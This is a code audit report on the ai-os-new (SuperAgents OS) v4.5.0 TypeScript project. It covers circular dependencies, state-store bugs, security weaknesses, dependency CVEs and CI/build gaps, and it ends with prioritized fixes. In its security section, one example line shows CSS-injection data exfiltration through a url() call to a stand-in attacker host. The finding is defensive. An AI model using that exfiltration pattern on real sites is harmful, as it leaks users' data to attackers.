

AI-OS NEW

DEEP AUDIT REPORT

Comprehensive code audit of the ai-os-new project v4.5.0

Architecture / State Management / Security / Build & Deploy

Project	ai-os-new (SuperAgents OS)
Version	4.5.0
Stack	Vite 8 + React 19 + TypeScript 6 + Zustand + Dexie + sql.js
Date	2026-06-16
Files analyzed	868
Lines of code	~137,600
Circular deps found	166

TABLE OF CONTENTS

1. Executive Summary
2. Architecture Audit
3. State Management Audit
4. Security & Bug Audit
5. Build, Deploy & CI/CD Audit
6. Consolidated Issue Registry
7. Priority Recommendations

1. Executive Summary

This document presents the results of a comprehensive deep audit of the ai-os-new project (SuperAgents OS), version 4.5.0. The project is a sophisticated cognitive orchestration system with a kernel-based architecture, built as a single-developer hobby project with AI assistance. The codebase comprises approximately 137,600 lines of TypeScript across 868 files, utilizing Vite 8, React 19, TypeScript 6, Zustand, Dexie (IndexedDB), and sql.js.

The audit was conducted across four parallel tracks: Architecture, State Management, Security, and Build/Deploy. Each track performed exhaustive file-level analysis, examining source code, configuration files, dependencies, and documentation for consistency and correctness. The findings reveal a project with strong conceptual foundations but significant implementation gaps that have accumulated over iterative AI-assisted development.

The most critical finding is the presence of 166 circular dependencies in the codebase, while the project documentation claims zero. This single issue underlies many of the architectural problems discovered. Additionally, four critical bugs were identified in the state management layer that directly affect user-facing functionality: broken send guards, data loss on session deletion, race conditions during hydration, and lifecycle management issues with singleton stores.

Key Metrics

Metric	Value
TypeScript files	766
Lines of code	~137,600
Kernel services	259 files
UI components (.tsx)	200
Circular dependencies	166
Critical bugs found	4
High severity issues	10
Medium severity issues	21
Security vulnerabilities	3 (dependency-related)
Documentation discrepancies	8+

Severity Distribution

Category	Critical	High	Medium	Low
Architecture	3	3	3	1
State Management	4	2	7	0
Security	0	3	5	2
Build & Deploy	5	3	8	2

Category	Critical	High	Medium	Low
Total	12	11	23	5

2. Architecture Audit

2.1 Overall Assessment

The project implements a cognitive orchestration system with a kernel (core) built using a DI-container + EventBus pattern. The conceptual architecture is sound: container-based dependency injection, typed event bus with 115+ events, Zod payload validation, lifecycle management, and immutable state through deepFreeze. However, the implementation significantly diverges from the stated architectural principles, and substantial architectural debt has accumulated.

The DI-container (`src/kernel/container.ts`) is a clean ~105-line implementation with circular dependency detection at resolve time, factory support, and tracked dependencies. The EventBus (`src/kernel/events/event-bus.ts`) provides typed events with Zod validation, recursion protection (depth greater than 16 triggers defer), and strict/soft modes. The SystemKernel (`src/kernel/kernel.ts`) uses a reducer pattern with immutable state via deepFreeze, ring buffer event log, and frozen state caching. The service registration system has been split into 6 phases, which is the correct approach for managing complexity.

2.2 Circular Dependencies - Catastrophic Level

[CRITICAL]

Documentation (`docs/01-system-architecture.md`, line 8) states: "No circular imports - services depend on contracts, not other services." This is a false claim. `DEBT_REPORT.md` (D-10) indicates "19 known cycles," but the actual number is 166, nearly an order of magnitude higher. This is the single most damaging architectural issue in the project.

The root cause is three interconnected problems. First, `instances.ts` acts as a global service locator with ~60 `resolve()` calls, creating Proxy objects for each service at module level. This pulls the entire dependency graph when any module imports from `instances.ts`. Second, the barrel file `kernel/index.ts` re-exports everything, creating import cycles through the bootstrap chain. Third, the DAL layer (`kernel/dal/types.ts`) imports `ChatSession` from the UI stores layer, violating the fundamental layering principle.

The critical cycle chain is: `instances.ts` imports `contracts/index.ts` imports `events/event-bus.ts` imports `kernel/index.ts` imports `bootstrap.ts` imports `kernel.ts` imports `types/interfaces.ts` imports `dal/types.ts` imports `stores/useChatStore.ts` imports `runtime.ts` imports `instances.ts`. This single chain touches every major subsystem.

Root Cause #1: `instances.ts` as Service Locator

File: `src/kernel/instances.ts` (309 lines). Contains approximately 60 `resolve()` calls, each creating a Proxy with lazy resolve. This is the Service Locator anti-pattern, directly contradicting the stated Dependency Injection approach. Any module can import any

service from instances.ts, bypassing constructor injection. If a service is not registered, the Proxy returns a no-op function instead of throwing an error, leading to silent failures.

```
export const settingsService = resolve<SettingsService>('settingsService', { getSettings:
() => ({ theme: 'dark', ... }), // fallback with hardcoded values subscribe: () => () =>
{}, });
```

Root Cause #2: dal/types.ts depends on UI store

File: src/kernel/dal/types.ts (line 12) imports ChatSession from stores/useChatStore. The Data Access Layer (infrastructure) depends on the presentation layer, which is a direct layering violation. Similarly, kernel/services/database-service.ts (line 4) imports the same type. The ChatSession type should be defined in kernel/types/ or kernel/contracts/, and the store should import it from there.

```
import type { ChatSession } from '../../stores/useChatStore'; // dal depends on UI!
```

Root Cause #3: contracts depend on implementations

File: src/kernel/contracts/debate-types.ts (line 3) imports DebateInterpretation from the service implementation. This violates the Dependency Inversion Principle: abstractions must not depend on details. The DebateInterpretation type should be defined in contracts, not imported from the concrete service.

2.3 Dual Architecture: src/core/ vs src/kernel/

[HIGH]

Two parallel layers exist that partially duplicate each other. core/Kernel.ts (56 lines) creates a Proxy to the container instance, but its fallback object (lines 27-37) does not match the actual SystemState type. Fields like phase: "BOOT", status: "initializing", providers: [], uptime: 0, load: 0, and memory: { used: 0, total: 100 } do not exist on SystemState (defined in kernel/types/metrics-types.ts). Any code accessing kernel.getState() before initialization receives an object with an incorrect structure.

Additionally, core/storage.ts (310 lines) duplicates functionality from kernel/services/storage/, and core/TaskQueue.ts (152 lines) appears to be a legacy artifact. The PluginSDK.ts and SafetyContract.ts in core/ are unique and should be preserved, but their relationship to kernel/ needs clarification.

2.4 Architecture Anti-Patterns

Silent No-Op Fallbacks in resolver.ts

[HIGH]

File: src/kernel/resolver.ts (line 39) returns () => undefined when a property is not found on a service. This means any call to any method on a non-existent service silently returns undefined instead of throwing an error. This is a classic source of hard-to-catch bugs where failures propagate silently through the system without any indication.

```
return typeof prop === 'string' ? (() => undefined) : undefined; // silent no-op!
```

God Object bootstrap.ts

File: src/kernel/bootstrap.ts (668 lines) contains 42 direct service imports, creates and configures EventBridge, CausalDebugger, CounterfactualEngine and others, includes feature flags as constants (lines 46-55), and patches setInterval globally (lines 62-63) as a module-level side effect. Despite the extraction of service registration into phase files, bootstrap.ts remains a bottleneck for understanding system initialization.

God File database-service.ts

File: src/kernel/services/database-service.ts (384 lines) contains the Dexie schema definition with 10 migration versions, validation hooks for each table, export/import methods, a deprecated dexieDb proxy, and singleton identity checking logic. This violates the Single Responsibility Principle and should be split into schema, migrations, service, and export/import modules.

2.5 Documentation vs Reality

Eight or more discrepancies were found between the project documentation and the actual codebase, indicating that documentation has not been maintained alongside code changes:

Location	Claim	Reality
docs/01-system-architecture.md:8	Claims "No circular imports"	166 circular dependencies exist
docs/01-system-architecture.md:72	References service-registration.ts	File does not exist; code is in service-registration/index.ts
docs/STRUCTURE.md:50	Claims src/core/ has 10 files	Actually 7 files
docs/STRUCTURE.md:22	References event-bus.ts	Moved to events/event-bus.ts; old file is deprecated proxy
docs/STRUCTURE.md:24	References db.ts	File does not exist; Dexie is in database-service.ts
docs/STRUCTURE.md:110	States version v4.6.0	package.json shows v4.5.0
docs/DEBT_REPORT.md (D-10)	Baseline: 19 cycles	Actual: 166 cycles
DEPENDENCY_MAP.md:15	EventBus has no deps	EventBus depends on 4+ modules

2.6 TypeScript Configuration Issues

tsconfig.app.json sets noUnusedLocals: false and noUnusedParameters: false (lines 28-29), which disables dead code detection at the compiler level. While ESLint partially compensates with @typescript-eslint/no-unused-vars: error, it only runs on files that are actually linted. The build script requires --max-old-space-size=8192 (8 GB heap), which exceeds GitHub Actions runner memory (7 GB) and indicates potential build process issues.

3. State Management Audit

3.1 Store Inventory

The project uses multiple state management patterns without a unified approach. Three Zustand stores, three custom hook-based stores, and three class-based stores coexist in the codebase, each with different subscription, cleanup, and persistence strategies.

Store	Pattern	Lines	Responsibility
useChatStore	Zustand create()	726	Sessions, messaging, streaming, persistence
topologyTraceStore	Zustand create()	93	Cognitive step traces
debateLiveStore	Zustand create()	146	Live debate state, streaming
useKeyStore	useSyncExternalStore	430+	API keys, health, alerts, metadata
useKeyIntelligence	useState + AbortController	varies	Key import/validation pipeline
useSystemStatus	useState + eventBus	varies	System status + staleness
KeyStateStore	Map + eventBus	class	Key health, routing weights
SessionAffinityStore	Map + eventBus	class	Session-to-key bindings
CheckpointStore	Checkpoint[] + persistence	class	Event-sourcing checkpoints

3.2 Critical Bugs

BUG-1: isSending Does Not Exist - Broken Send Guard

[CRITICAL]

File: src/components/ChatPanel/ChatPanel.tsx (line 335). The component destructures isSending from useChatStore(), but ChatStoreShape does not define an isSending property. The store provides isAnySending(): boolean and activeRequestIds: Set<string>, but isSending is always undefined (falsy). This means the guard "if (!text || isSending) return;" at line 480 never blocks duplicate sends, the send button is never disabled (line 1088: disabled={isSending}), and escape-to-cancel does not work (line 699). The auto-scroll during streaming is also broken because isStreamingRef.current = isSending receives undefined.

```
// ChatPanel.tsx:335 const { isSending, sendMessage, ... } = useChatStore(); // isSending is ALWAYS undefined! Guard on line 480 never blocks. // FIX: const isSending = useChatStore(s => s.activeRequestIds.size > 0);
```

BUG-2: deleteSession Does Not Persist to Dexie

[CRITICAL]

File: src/stores/useChatStore.ts (lines 340-351). The deleteSession function updates Zustand state but never calls sStore.deleteSession(id) to remove the session from IndexedDB. After page reload, deleted sessions reappear from Dexie. This is a direct data loss bug from the user perspective: they delete a session, it disappears, then returns after

refresh.

```
deleteSession: (id) => { set(s => { /* updates sessions in memory */ }); // MISSING:
sStore.deleteSession(id) },
```

BUG-3: flush() Does Not Remove Deleted Sessions from Dexie

[CRITICAL]

File: src/stores/useChatStore.ts (lines 632-640). The flush function uses bulkPut which only upserts records. If a session was deleted from Zustand via deleteSession(), it remains in IndexedDB forever because bulkPut never deletes. The correct approach is a sync pattern (clear + bulkPut) or delta deletion of records that exist in Dexie but not in Zustand.

BUG-4: destroy() on Singleton Stores from Multiple Components

[CRITICAL]

Files: DebatePanel.tsx (line 100), DebateRuntimePanel.tsx (line 177), TopologyTraceView.tsx (line 19). These components call destroy() on module-level singleton Zustand stores. When DebatePanel unmounts and calls destroy(), all EventBus subscriptions are removed and the metricsInterval is cleared. If DebateRuntimePanel is still mounted or will be remounted, the store is dead and new events are not processed. Two components simultaneously calling destroy() on the same store is a classic lifecycle ownership problem. The fix is reference counting or moving destroy() to the App level.

3.3 Performance Issues

PERF-1: ChatPanel Subscribes to Entire Store

[CRITICAL]

File: src/components/ChatPanel/ChatPanel.tsx (line 339). The component calls useChatStore() without a selector. Every STREAM_CHUNK event (dozens per second during streaming) triggers setState in useChatStore, which causes ChatPanel to fully re-render. This is the primary source of lag during message streaming. Similarly, ChatAdminPanel.tsx (line 27) and PersonaSelector.tsx (line 9) subscribe without selectors. The fix is to use fine-grained selectors: useChatStore(s => s.sessions), useChatStore(s => s.activeSessionId), etc.

PERF-2: useKeyStore Re-renders on Any Slice Change

[MEDIUM]

File: src/stores/useKeyStore.ts (lines 311-430). The useKeyStore() hook subscribes to keys, alerts, checkingIds, and keyMeta separately, then combines them via useMemo. When any single slice changes, the combined object is new, triggering re-renders in all consumers. Components like GroupsPanel.tsx (line 23) that only need keys still re-render when alerts or checkingIds change.

PERF-3: DexieMemoryStore Loads All Records Then Filters in JS

[MEDIUM]

File: `src/kernel/services/storage/dexie-storage.ts` (lines 69-92). The memory store loads all records from IndexedDB then filters by type, before, and after in JavaScript. As the memories table grows beyond 10K records, this will cause significant performance degradation. The fix is to use Dexie `where()` clauses or `CompoundIndex` for `metadata.type` and `metadata.timestamp`.

PERF-4: `rebuildRequestEntryMap` on Every Session Change

[MEDIUM]

File: `src/stores/useChatStore.ts` (lines 109-123, 720-725). This function iterates all sessions and all entries in each session ($O(N*M)$) every time sessions changes. During streaming, this is called on every chunk, creating unnecessary CPU load.

3.4 Data Integrity Risks

DATA-1: Race Condition During Hydration

[HIGH]

File: `src/stores/useChatStore.ts` (lines 643-688). Hydration via `load()` is asynchronous, but `eventBus` subscriptions (lines 505-623) are already active and modifying sessions. When `load()` completes, it calls `setState` with loaded data, overwriting intermediate `eventBus` updates. This can cause data loss if events arrive during the hydration window.

DATA-2: `SessionAffinityStore` Mutates Objects Directly

[MEDIUM]

File: `src/kernel/services/session-affinity-store.ts` (line 175). The store directly mutates properties on objects stored in the Map (`b.pendingEviction = true`). If any consumer holds a reference to the `SessionBinding` object, the mutation is visible without triggering any re-render or notification.

DATA-3: Dexie Identity by `rowCount` is Unreliable

[MEDIUM]

File: `src/kernel/dexie-identity.ts` (line 132). The identity check uses `rowCount` on the `apiKeys` table to decide which Dexie instance wins during HMR. If the old instance had more data in other tables (sessions, memories) but fewer `apiKeys`, data is lost. Row count on a single table is not a reliable criterion for identity.

DATA-5: Legacy Migration Overwrites Existing Data

[MEDIUM]

File: `src/stores/useChatStore.ts` (lines 656-669). The legacy migration from `localStorage` uses `setState` with the parsed data, overwriting any sessions that already exist in the Zustand store (loaded from Dexie). If Dexie had newer sessions and `localStorage` had older ones, the older data wins.

3.5 Memory Leaks

LEAK-1: topologyTraceStore Subscriptions Without Cleanup

[MEDIUM]

File: `src/stores/topologyTraceStore.ts` (lines 28-76). `eventBus.on()` subscriptions and `setInterval` are created inside `create()` at module import time. The `destroy()` method must be called manually. If no component calls `destroy()`, subscriptions and the interval live forever. Only `TopologyTraceView.tsx` calls `destroy()`, and only when that specific component was mounted.

LEAK-4: useSystemStatus 1-Second Interval

[MEDIUM]

File: `src/stores/useSystemStatus.ts` (line 50). A 1-second `setInterval` calls `setStalenessMs` every second, causing re-renders every second even when data has not changed. The interval is correctly cleaned up in `useEffect`, but the re-render frequency is excessive.

3.6 Architectural Issues

ARCH-1: useChatStore is a God Object

At 726 lines, `useChatStore` manages sessions, message sending, streaming, persistence, legacy migration, editing, forking, and import/export. This violates the Single Responsibility Principle and makes the store difficult to maintain and test. It should be split into `useSessionStore` (CRUD + persistence), `useChatActions` (`sendMessage`, `cancelSending`), and `useStreamHandler` (`STREAM_CHUNK/END/ERROR` processing).

ARCH-2: Inconsistent Store Patterns

The project uses four different patterns for state management: Zustand `create()` (`useChatStore`), `useSyncExternalStore` with mutable module variables (`useKeyStore`), React `useState` + `useEffect` (`useSystemStatus`), and `useState` + `AbortController` (`useKeyIntelligence`). There is no unified approach to subscriptions, cleanup, or persistence. Each store solves these problems differently, increasing cognitive load and the likelihood of bugs.

ARCH-3: No Optimistic Update Rollback

All mutations in `useChatStore` are optimistic (update Zustand, then Dexie), but there is no rollback on Dexie error. If `bulkPut` fails (IDB quota, lock), Zustand and IndexedDB become desynchronized with no recovery mechanism.

4. Security & Bug Audit

4.1 XSS Vulnerabilities

`doc.write()` in `CodeRunner` - CSS Injection

[HIGH]

File: `src/components/ChatPanel/CodeRunner.tsx` (lines 146-148). The function `escapeForStyle()` only escapes closing style tags but does not sanitize CSS content. While the `iframe` uses `sandbox="allow-scripts"`, an attacker could use CSS injection for data exfiltration via `url()` in CSS (e.g., `background-image: url(https://evil.com/?data=...)`). The fix is to use `iframe.srcdoc` instead of `doc.write()`, as already done for HTML and JS previews, and to apply stricter CSS sanitization via `DOMPurify` or a CSS property whitelist.

Cached HTML in `MarkdownRenderer` Bypasses Re-Sanitization

[MEDIUM]

File: `src/components/ChatPanel/MarkdownRenderer.tsx` (lines 239, 278). `DOMPurify.sanitize()` is called before caching, but cached strings are inserted via `dangerouslySetInnerHTML` without re-sanitization. If the cache is corrupted (e.g., through prototype pollution or XSS in another component), the cached HTML would be rendered unsanitized. This is a defense-in-depth risk that becomes exploitable in an attack chain scenario.

4.2 Input Validation

`JSON.parse` Without Zod Validation

[HIGH]

Multiple files parse JSON from external sources (`localStorage`, `BroadcastChannel`, LLM responses, imported JSON) without applying Zod schema validation, despite Zod being a project dependency with schemas defined in `schema-types.ts`. Critical locations include: `kernel.ts` (line 231), `memory-engine.ts` (line 181), `cross-tab-state.ts` (line 103), `useKeyStore.ts` (line 87), and `agent-wizard-service.ts` (lines 130, 178, 260). The most dangerous case is `agent-wizard-service.ts`, which parses LLM responses without Zod, allowing a poisoned completion to inject arbitrary objects.

4.3 Insecure Patterns

`new Function()` in `sandbox.worker.ts`

[HIGH]

File: `src/services/sandbox.worker.ts` (line 196). User code is interpolated directly into `new Function()`. The project applies two-level protection: AST validation via `meriyah` (blocking `eval`, `Function`, `import`) and shadow variables (`Function = Object.freeze(...)`),

Object = Object.freeze({})). However, bypass vectors exist if the AST validation is circumvented through encoding or non-standard syntax that meriyah cannot parse correctly. The recommendation is to consider replacing new Function() with an iframe sandbox approach (as already implemented in CodeRunner.tsx) and adding runtime monitoring for unexpected Worker postMessage data.

WebSocket Token in URL Query Parameter

[MEDIUM]

File: server/sync-server.mjs (lines 147-153). The authentication token is passed as a URL query parameter (?token=...), which means it appears in server logs, proxy logs, and browser history. While this is a standard pattern for WebSocket (which does not support headers during handshake), the token persists in access logs. The fix is to use short-lived one-time tokens requested via HTTP API with Bearer auth.

Timing Attack on Token Comparison

[MEDIUM]

File: server/sync-server.mjs (lines 31, 142, 150). Token comparison uses === which is vulnerable to timing attacks. An attacker can guess the token byte-by-byte by measuring response times. While this is a minimal-risk local hobby project, the fix is simple: use crypto.timingSafeEqual() from Node.js for constant-time comparison.

4.4 Dependency Vulnerabilities

Package	Severity	Vulnerability	Fix
protobufjs <= 7.6.2	HIGH	DoS via recursive JSON expansion; prototype pollution	Update to >= 7.6.3
Vite 8.0.0-8.0.15	HIGH	NTLM hash disclosure; fs.deny bypass on Windows	Update to >= 8.0.16
react-router 7.12-7.15	MEDIUM	CSRF via PUT/PATCH/DELETE document requests	Update to patched version
@babel/core <= 7.29.0	LOW	Arbitrary file read via sourceMappingURL	npm audit fix
brace-expansion 5.0.2-5.0.5	LOW	DoS via large range expansion	npm audit fix

4.5 Type Safety Issues

28 Uses of "as any" in Production Code

[MEDIUM]

The most dangerous instances include: bootstrap.ts (line 324) casting dynamic import results to any[] without validation; HealthPanel.tsx (line 60) accessing (health as any)?.runtime?.totalActive without proper typing; execution-queue.ts (line 68) using string as event name; and runtime.ts (line 99) casting EVENTS.KERNEL_UPDATED as any. Each of these bypasses TypeScript safety and should be replaced with proper type

guards, Zod schemas, or extended type definitions.

4.6 Error Handling Gaps

Empty or near-empty catch blocks were found in multiple critical locations: `memory.worker.ts` (lines 56, 121, 144) with `catch {}` during Orama deletion; `bootstrap.ts` (lines 285, 299, 309, 325) with `catch { /* non-critical */ }`; `sse-parser.ts` (lines 95, 111) with `catch { /* skip */ }`; `key-repository.ts` (line 96) with `.catch(() => {})`; and `proxy-health-monitor.ts` (lines 159, 163) with `.catch(() => {})`. These silent failures make debugging extremely difficult. At minimum, `console.debug()` calls should be added with a `[non-critical]` prefix.

4.7 Positive Security Findings

The project implements several good security practices: `DOMPurify` is used consistently with `dangerouslySetInnerHTML`; SQL queries use parameterized statements (? placeholders) with whitelist field validation; AES-256-GCM + PBKDF2 with 600K iterations is used for key encryption; AST validation via `meriyah` blocks dangerous patterns in user code; SSRF protection in the CORS proxy includes private IP checking and domain allowlisting; CSP headers are properly configured; and no hardcoded secrets were found in the codebase.

5. Build, Deploy & CI/CD Audit

5.1 Docker Configuration

D-1: COPY . . Copies Everything Before Build

[MEDIUM]

File: Dockerfile (line 33). The COPY . . instruction copies all project files including docs/, e2e/, audit/, prompt-vault/, and .github/ into the Docker build context. These directories inflate the build cache and Docker layer size unnecessarily. The .dockerignore file should be updated to exclude these directories, or a more targeted COPY strategy should be used.

D-2: --legacy-peer-deps Masks Dependency Conflicts

[MEDIUM]

File: Dockerfile (line 31). The npm ci --legacy-peer-deps flag hides the real peer dependency conflict between madge@8 and typescript@6. If madge updates to require TypeScript 5 specifically, the build will break unexpectedly. The root cause (TypeScript 6 incompatibility) should be addressed rather than suppressed.

D-9: PROXY_FETCH Default is Placeholder Domain

[MEDIUM]

File: docker/entrypoint.sh (line 16). The PROXY_FETCH variable defaults to https://fetch.example.com, which is a placeholder domain. If this environment variable is not set during deployment, all requests to /proxy/fetch/ will be proxied to a non-existent host, causing silent failures. The fix is to either remove the /proxy/fetch/ location from nginx when the variable is not set, or to fail fast with a clear error message.

5.2 Nginx Configuration

N-1: CSP Mismatch Between Server and Location Blocks

[HIGH]

File: docker/nginx.conf (lines 33-39). The CSP header in the location block for static assets is identical to the server block CSP, including connect-src 'self' https: wss: which is unnecessarily permissive for static files. Static asset responses should have a stricter CSP without connect-src or wss: directives. Additionally, in nginx-ssl.conf (line 41), CSP contains hardcoded provider domains that must be updated in two places (server block and location block) when adding new providers, creating a synchronization risk.

N-5: proxy_read_timeout Too Short for LLM Streaming

[MEDIUM]

File: docker/nginx.conf (line 52). The proxy_read_timeout of 120s may be insufficient for long-running LLM completions, especially from providers like Gemini that can take

longer than 2 minutes. This would cause nginx to close the connection prematurely, cutting off the response. A value of 300s or higher is recommended for LLM proxy endpoints.

5.3 Vite Build Issues

V-1: chunkSizeWarningLimit at 2000 Suppresses Bundle Warnings

[MEDIUM]

File: vite.config.ts (line 39). Setting the chunk size warning limit to 2000 KB suppresses legitimate warnings about oversized bundles. This does not solve the underlying problem of large chunks; it merely hides the symptoms. The project has 259 services and 200 components, which could produce very large bundles without warning.

V-2: Missing Chunk Splits for Heavy Dependencies

[HIGH]

File: vite.config.ts (lines 42-57). The manualChunks configuration does not include entries for sql.js (WASM library, approximately 1.5 MB), @huggingface/transformers (potentially 5+ MB), or framer-motion. These heavy dependencies will be bundled into a single catch-all chunk, creating a very large initial download. Each should have its own chunk entry for optimal loading performance.

5.4 CI/CD Gaps

C-1: No E2E Tests in CI

[CRITICAL]

File: .github/workflows/ci.yml. Playwright E2E tests exist in the e2e/ directory but are never executed in CI. There is no test:e2e job in the workflow. This means UI regressions are not caught automatically, and the E2E tests are effectively dead code. Adding an E2E job with Playwright installation and execution is a critical improvement.

C-2: No Docker Build Verification in CI

[CRITICAL]

The CI workflow does not include a job to verify that docker build succeeds. A broken Dockerfile could be merged into main without detection, causing deployment failures. A docker build job should be added to the CI pipeline.

C-3: No Test Coverage Measurement

[MEDIUM]

File: .github/workflows/ci.yml (line 79). The npm run test command runs vitest run without the --coverage flag. There is no coverage reporting or threshold enforcement. Without coverage metrics, there is no way to track testing effectiveness over time or prevent coverage regression.

C-4: No Deployment Stage

[MEDIUM]

The CI workflow has no deployment stage. There is no Docker image push to a registry, no deployment automation, and no CD pipeline. All deployments are manual, which introduces a risk of human error and makes rollback procedures ad-hoc.

5.5 Package Versioning Concerns

Package	Version	Risk
typescript	~6.0.2	Very new major version; many libs untested with TS 6
zod	^4.4.3	Zod 4 may still be unstable; API changes possible
ws	^8.21.0	Node.js module in client dependencies; should be devDep
react-router-dom	^7.15.0	Major rewrite from v6; migration risk
vite	^8.0.10	Very new; potential build bugs
esbuild	0.28.1	Pinned without caret; conflicts with Vite esbuild

5.6 E2E Test Quality

E2E-1: Only 4 Trivial Tests

[CRITICAL]

File: e2e/basic-flow.spec.ts. The E2E test suite contains only 4 trivial tests that check for text visibility and placeholder presence. There are no tests for: sending a chat message, creating a debate, provider functionality, tab navigation, or any meaningful user flow. This provides a false sense of security. Additionally, E2E tests run against the dev server (npm run dev), not the production build, and the baseUrl is hardcoded to localhost:5173, making CI execution impossible without a running dev server.

S-1: Build Requires 8 GB Heap

[HIGH]

File: package.json (line 8). The --max-old-space-size=8192 flag allocates 8 GB for the build process. GitHub Actions runners have 7 GB RAM, causing potential OOM failures. This is a symptom of bundle bloat or build process issues, likely caused by @huggingface/transformers or sql.js. The root cause should be investigated and the heap limit reduced to 4096 for CI compatibility.

6. Consolidated Issue Registry

This section provides a complete, prioritized registry of all issues discovered during the audit. Each issue is categorized by domain, severity, and estimated effort to fix.

ID	Issue	Severity	Location	Effort
ARCH-1	166 circular dependencies	CRIT	instances.ts, kernel/index.ts, dal/types.ts	40-60h
ARCH-2	instances.ts Service Locator anti-pattern	CRIT	kernel/instances.ts	20-30h
ARCH-3	dal/types.ts depends on UI store	CRIT	kernel/dal/types.ts:12	2h
ARCH-4	contracts depend on implementations	HIGH	contracts/debate-types.ts:3	1h
ARCH-5	core/Kernel.ts fallback state incorrect	HIGH	core/Kernel.ts:28-36	2h
ARCH-6	resolver.ts silent no-op fallbacks	HIGH	kernel/resolver.ts:39	4h
ARCH-7	kernel/index.ts barrel file cycles	HIGH	kernel/index.ts	4h
ARCH-8	bootstrap.ts god object (668 lines)	MED	kernel/bootstrap.ts	8h
ARCH-9	database-service.ts SRP violation	MED	kernel/services/database-service.ts	4h
ARCH-10	8+ documentation discrepancies	MED	docs/*	4h
STATE-1	isSending undefined - broken send guard	CRIT	ChatPanel.tsx:335	0.5h
STATE-2	deleteSession not persisted to Dexie	CRIT	useChatStore.ts:340	0.5h
STATE-3	flush() does not delete removed sessions	CRIT	useChatStore.ts:637	1h
STATE-4	destroy() on singletons from multiple components	CRIT	DebatePanel.tsx:100	2h
STATE-5	ChatPanel subscribes to entire store	CRIT	ChatPanel.tsx:339	2h
STATE-6	Race condition during hydration	HIGH	useChatStore.ts:643	4h
STATE-7	useChatStore depends on deprecated sqlite-storage	HIGH	useChatStore.ts:11	2h
STATE-8	useKeyStore re-renders on any slice change	MED	useKeyStore.ts:311	2h
STATE-9	DexieMemoryStore loads all records	MED	dexie-storage.ts:69	3h
STATE-10	rebuildRequestEntryMap on every change	MED	useChatStore.ts:720	2h
STATE-11	SessionAffinityStore direct mutation	MED	session-affinity-store.ts:175	1h
STATE-12	Dexie identity by rowCount unreliable	MED	dexie-identity.ts:132	3h
STATE-13	Legacy migration overwrites data	MED	useChatStore.ts:656	1h
STATE-14	topologyTraceStore no auto-cleanup	MED	topologyTraceStore.ts:28	1h

ID	Issue	Severity	Location	Effort
STATE-15	1-second interval re-renders	MED	useSystemStatus.ts:50	0.5h
STATE-16	useChatStore God Object (726 lines)	MED	useChatStore.ts	8h
STATE-17	Inconsistent store patterns	MED	stores/*	6h
STATE-18	No optimistic update rollback	MED	useChatStore.ts:637	3h
SEC-1	doc.write() CSS injection in CodeRunner	HIGH	CodeRunner.tsx:146	2h
SEC-2	new Function() code injection risk	HIGH	sandbox.worker.ts:196	4h
SEC-3	JSON.parse without Zod validation	HIGH	kernel.ts, memory-engine.ts, etc.	4h
SEC-4	protobufjs DoS vulnerability	HIGH	package.json	0.5h
SEC-5	Vite NTLM hash disclosure	HIGH	package.json	0.5h
SEC-6	Cached HTML bypasses re-sanitization	MED	MarkdownRenderer.tsx:239	1h
SEC-7	WS token in URL query parameter	MED	sync-server.mjs:147	2h
SEC-8	Timing attack on token comparison	MED	sync-server.mjs:31	0.5h
SEC-9	SQL interpolation pattern in PRAGMA	MED	sqlite-storage.ts:1193	0.5h
SEC-10	28 uses of "as any" in production	MED	Multiple files	4h
SEC-11	Empty catch blocks hide errors	MED	Multiple files	2h
BUILD-1	No E2E tests in CI	CRIT	.github/workflows/ci.yml	4h
BUILD-2	No Docker build verification in CI	CRIT	.github/workflows/ci.yml	2h
BUILD-3	E2E tests are trivial and misconfigured	CRIT	e2e/basic-flow.spec.ts	8h
BUILD-4	Build requires 8 GB heap	HIGH	package.json:8	4h
BUILD-5	Missing chunk splits for heavy deps	HIGH	vite.config.ts:42	2h
BUILD-6	CSP mismatch in nginx configs	HIGH	docker/nginx.conf:33	2h
BUILD-7	COPY . . inflates Docker build	MED	Dockerfile:33	1h
BUILD-8	--legacy-peer-deps masks conflicts	MED	Dockerfile:31	2h
BUILD-9	PROXY_FETCH placeholder domain	MED	docker/entrypoint.sh:16	0.5h
BUILD-10	proxy_read_timeout too short	MED	docker/nginx.conf:52	0.5h
BUILD-11	chunkSizeWarningLimit at 2000	MED	vite.config.ts:39	0.5h
BUILD-12	No test coverage measurement	MED	.github/workflows/ci.yml:79	1h

ID	Issue	Severity	Location	Effort
BUILD-13	No deployment stage in CI	MED	.github/workflows/ci.yml	4h
BUILD-14	TypeScript 6 compatibility risks	MED	package.json	ongoing
BUILD-15	sync-server not containerized	MED	docker-compose.yml	4h

7. Priority Recommendations

7.1 Immediate Actions (P0 - This Week)

These are bugs that are currently breaking user-facing functionality or pose immediate data loss risks. They should be fixed before any other work.

STATE-1: Fix `isSending`

Replace `"const { isSending } = useChatStore()"` with `"const isSending = useChatStore(s => s.activeRequestIds.size > 0)"` in `ChatPanel.tsx`. This is a one-line fix that restores the send guard, disabled button state, escape-to-cancel, and auto-scroll during streaming. Estimated effort: 30 minutes.

STATE-2 + STATE-3: Fix `deleteSession` persistence

Add `"resolveSessionStore()?.deleteSession(id)"` after the `set()` call in `deleteSession()`, and replace `bulkPut` in `flush()` with a sync pattern (clear + `bulkPut` or delta deletion). Without this, deleted sessions reappear after page reload. Estimated effort: 1.5 hours.

SEC-4 + SEC-5: Update vulnerable dependencies

Run `"npm audit fix"` to update `protobufjs` to `>= 7.6.3`, `Vite` to `>= 8.0.16`, and `react-router-dom` to the latest patched version. These are known vulnerabilities with straightforward fixes. Estimated effort: 30 minutes.

7.2 High Priority (P1 - Next Sprint)

These issues significantly impact performance, data integrity, or security posture. They should be addressed in the next development cycle.

ARCH-3: Break `dal/types.ts` cycle

Move `ChatSession` type from `stores/useChatStore.ts` to `kernel/types/` or `kernel/contracts/`. Update all imports. This single action eliminates approximately 30 circular dependencies. Estimated effort: 2 hours.

ARCH-4: Move `DebateInterpretation` to contracts

Remove the import from `services/debate-interpreter.ts` in `contracts/debate-types.ts` and define the interface in `contracts`. This fixes a direct DIP violation. Estimated effort: 1 hour.

STATE-5: Convert `ChatPanel` to fine-grained selectors

Replace `"useChatStore()"` with individual selectors like `"useChatStore(s => s.sessions)"` and `"useChatStore(s => s.activeSessionId)"`. This will dramatically reduce re-renders during streaming and is the highest-impact performance improvement available. Estimated effort: 2 hours.

STATE-7: Remove sqlite-storage dependency

Move `waitForStorage()` from `sqlite-storage.ts` to `dexie-storage.ts` or an abstract layer. This removes a dependency on a deprecated module and eliminates `sql.js` WASM from the bundle when not in use. Estimated effort: 2 hours.

